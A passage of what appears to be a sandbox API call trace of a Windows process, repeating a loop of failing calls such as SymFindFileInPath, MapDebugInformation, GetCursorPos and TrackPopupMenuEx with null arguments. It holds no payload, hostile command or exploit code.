param_5=0x0, param_6=0x0) returned 0 [0218.774] GetLastError () returned 0x579 [0218.774] SetLastError (dwErrCode=0x579) [0218.774] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.774] SymCleanup (hProcess=0x0) returned 0 [0218.774] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.774] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.774] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.774] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=587, param_4=160, param_5=0x0, param_6=0x0) returned 0 [0218.774] GetLastError () returned 0x579 [0218.774] SetLastError (dwErrCode=0x579) [0218.774] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.774] SymCleanup (hProcess=0x0) returned 0 [0218.774] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.775] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.775] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.775] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.775] GetLastError () returned 0x579 [0218.775] SetLastError (dwErrCode=0x579) [0218.775] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.775] SymCleanup (hProcess=0x0) returned 0 [0218.775] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.775] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.775] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.775] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=423, param_4=407, param_5=0x0, param_6=0x0) returned 0 [0218.775] GetLastError () returned 0x579 [0218.775] SetLastError (dwErrCode=0x579) [0218.775] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.775] SymCleanup (hProcess=0x0) returned 0 [0218.775] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.775] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.775] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.775] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.776] GetLastError () returned 0x579 [0218.776] SetLastError (dwErrCode=0x579) [0218.776] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.776] SymCleanup (hProcess=0x0) returned 0 [0218.776] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.776] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.776] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.776] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=421, param_4=405, param_5=0x0, param_6=0x0) returned 0 [0218.776] GetLastError () returned 0x579 [0218.776] SetLastError (dwErrCode=0x579) [0218.776] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.776] SymCleanup (hProcess=0x0) returned 0 [0218.776] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.776] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.776] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.776] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=690, param_4=17, param_5=0x0, param_6=0x0) returned 0 [0218.776] GetLastError () returned 0x579 [0218.776] SetLastError (dwErrCode=0x579) [0218.776] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.776] SymCleanup (hProcess=0x0) returned 0 [0218.776] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.776] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.776] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.776] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.776] GetLastError () returned 0x579 [0218.777] SetLastError (dwErrCode=0x579) [0218.777] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.777] SymCleanup (hProcess=0x0) returned 0 [0218.777] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.777] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.777] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.777] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=425, param_4=409, param_5=0x0, param_6=0x0) returned 0 [0218.777] GetLastError () returned 0x579 [0218.777] SetLastError (dwErrCode=0x579) [0218.777] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.777] SymCleanup (hProcess=0x0) returned 0 [0218.777] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.777] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.777] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.777] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.777] GetLastError () returned 0x579 [0218.777] SetLastError (dwErrCode=0x579) [0218.777] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.777] SymCleanup (hProcess=0x0) returned 0 [0218.777] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.777] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.777] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.777] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=425, param_4=411, param_5=0x0, param_6=0x0) returned 0 [0218.777] GetLastError () returned 0x579 [0218.778] SetLastError (dwErrCode=0x579) [0218.778] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.778] SymCleanup (hProcess=0x0) returned 0 [0218.778] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.778] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.778] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.778] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=670, param_4=353, param_5=0x0, param_6=0x0) returned 0 [0218.778] GetLastError () returned 0x579 [0218.778] SetLastError (dwErrCode=0x579) [0218.778] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.778] SymCleanup (hProcess=0x0) returned 0 [0218.778] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.778] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.778] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.778] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.778] GetLastError () returned 0x579 [0218.778] SetLastError (dwErrCode=0x579) [0218.778] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.778] SymCleanup (hProcess=0x0) returned 0 [0218.778] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.778] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.778] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.778] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=406, param_5=0x0, param_6=0x0) returned 0 [0218.778] GetLastError () returned 0x579 [0218.778] SetLastError (dwErrCode=0x579) [0218.779] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.779] SymCleanup (hProcess=0x0) returned 0 [0218.779] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.779] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.779] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.779] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.779] GetLastError () returned 0x579 [0218.779] SetLastError (dwErrCode=0x579) [0218.779] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.779] SymCleanup (hProcess=0x0) returned 0 [0218.779] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.779] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.779] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.779] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=421, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.779] GetLastError () returned 0x579 [0218.779] SetLastError (dwErrCode=0x579) [0218.779] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.779] SymCleanup (hProcess=0x0) returned 0 [0218.779] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.779] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.779] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.779] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=208, param_4=93, param_5=0x0, param_6=0x0) returned 0 [0218.779] GetLastError () returned 0x579 [0218.779] SetLastError (dwErrCode=0x579) [0218.779] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.780] SymCleanup (hProcess=0x0) returned 0 [0218.780] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.780] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.780] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.780] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.780] GetLastError () returned 0x579 [0218.780] SetLastError (dwErrCode=0x579) [0218.780] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.780] SymCleanup (hProcess=0x0) returned 0 [0218.780] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.780] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.780] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.780] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=423, param_4=406, param_5=0x0, param_6=0x0) returned 0 [0218.780] GetLastError () returned 0x579 [0218.780] SetLastError (dwErrCode=0x579) [0218.780] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.780] SymCleanup (hProcess=0x0) returned 0 [0218.780] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.780] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.780] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.780] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.780] GetLastError () returned 0x579 [0218.780] SetLastError (dwErrCode=0x579) [0218.780] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.781] SymCleanup (hProcess=0x0) returned 0 [0218.781] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.781] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.781] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.781] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=406, param_5=0x0, param_6=0x0) returned 0 [0218.781] GetLastError () returned 0x579 [0218.781] SetLastError (dwErrCode=0x579) [0218.781] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.781] SymCleanup (hProcess=0x0) returned 0 [0218.781] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.781] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.781] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.781] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1177, param_4=506, param_5=0x0, param_6=0x0) returned 0 [0218.781] GetLastError () returned 0x579 [0218.781] SetLastError (dwErrCode=0x579) [0218.781] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.781] SymCleanup (hProcess=0x0) returned 0 [0218.781] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.781] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.781] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.781] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.781] GetLastError () returned 0x579 [0218.781] SetLastError (dwErrCode=0x579) [0218.781] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.781] SymCleanup (hProcess=0x0) returned 0 [0218.782] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.782] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.782] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.782] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=422, param_4=411, param_5=0x0, param_6=0x0) returned 0 [0218.782] GetLastError () returned 0x579 [0218.782] SetLastError (dwErrCode=0x579) [0218.782] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.782] SymCleanup (hProcess=0x0) returned 0 [0218.782] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.782] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.782] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.782] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.782] GetLastError () returned 0x579 [0218.782] SetLastError (dwErrCode=0x579) [0218.782] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.782] SymCleanup (hProcess=0x0) returned 0 [0218.782] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.782] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.782] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.782] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=423, param_4=411, param_5=0x0, param_6=0x0) returned 0 [0218.782] GetLastError () returned 0x579 [0218.782] SetLastError (dwErrCode=0x579) [0218.782] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.782] SymCleanup (hProcess=0x0) returned 0 [0218.782] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.783] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.783] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.783] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=717, param_4=533, param_5=0x0, param_6=0x0) returned 0 [0218.783] GetLastError () returned 0x579 [0218.783] SetLastError (dwErrCode=0x579) [0218.783] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.783] SymCleanup (hProcess=0x0) returned 0 [0218.783] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.783] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.783] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.783] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.783] GetLastError () returned 0x579 [0218.783] SetLastError (dwErrCode=0x579) [0218.783] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.783] SymCleanup (hProcess=0x0) returned 0 [0218.783] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.783] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.783] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.783] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=425, param_4=405, param_5=0x0, param_6=0x0) returned 0 [0218.783] GetLastError () returned 0x579 [0218.783] SetLastError (dwErrCode=0x579) [0218.783] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.783] SymCleanup (hProcess=0x0) returned 0 [0218.783] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.784] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.784] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.784] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.784] GetLastError () returned 0x579 [0218.784] SetLastError (dwErrCode=0x579) [0218.784] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.784] SymCleanup (hProcess=0x0) returned 0 [0218.784] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.784] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.784] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.784] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=427, param_4=410, param_5=0x0, param_6=0x0) returned 0 [0218.784] GetLastError () returned 0x579 [0218.784] SetLastError (dwErrCode=0x579) [0218.784] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.784] SymCleanup (hProcess=0x0) returned 0 [0218.784] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.784] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.784] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.784] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1161, param_4=579, param_5=0x0, param_6=0x0) returned 0 [0218.784] GetLastError () returned 0x579 [0218.784] SetLastError (dwErrCode=0x579) [0218.784] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.784] SymCleanup (hProcess=0x0) returned 0 [0218.784] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.785] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.785] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.785] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.785] GetLastError () returned 0x579 [0218.785] SetLastError (dwErrCode=0x579) [0218.785] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.785] SymCleanup (hProcess=0x0) returned 0 [0218.785] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.785] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.785] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.785] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=423, param_4=405, param_5=0x0, param_6=0x0) returned 0 [0218.785] GetLastError () returned 0x579 [0218.785] SetLastError (dwErrCode=0x579) [0218.785] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.785] SymCleanup (hProcess=0x0) returned 0 [0218.785] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.785] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.785] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.785] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.785] GetLastError () returned 0x579 [0218.785] SetLastError (dwErrCode=0x579) [0218.785] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.785] SymCleanup (hProcess=0x0) returned 0 [0218.785] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.785] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.786] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.786] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=425, param_4=411, param_5=0x0, param_6=0x0) returned 0 [0218.786] GetLastError () returned 0x579 [0218.786] SetLastError (dwErrCode=0x579) [0218.786] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.786] SymCleanup (hProcess=0x0) returned 0 [0218.786] MapDebugInformation (FileHandle=0x0, 